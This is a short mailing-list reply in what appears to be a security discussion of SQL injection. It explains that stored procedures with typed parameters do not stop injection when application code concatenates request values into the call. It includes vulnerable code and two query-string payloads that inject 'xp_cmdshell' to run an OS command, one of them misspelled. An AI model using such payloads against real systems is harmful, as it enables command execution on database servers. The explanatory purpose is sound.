RE: Paper: SQL Injection Attacks by Example

["David Litchfield" <davidl@xxxxxxxxxxxxxxx>]

>David,
>Actually, to nitpick your comment a bit, stored procedures usually have
typed input variables:
>create procedure foo ( a int, b varchar(20) ) as ...

This has no bearing on the issue.

If from the code of the app I perform something like

strSQL = "exec foo(" & request.querystring("a") & "," &
request.querystring("b") & ")"
Conn.execute(strSQL)

then I can either set a in the query string to

?a=1,'foo');exec+master..xp_cmdshell+'dir'--&b=foo

Or alternatively I can set b in the query string to

?a=1&b=foo');exec+master..xmp_cmdshell+'dir'--

Either way I'm using a stored procedure and I can inject into the app.

Cheers,
David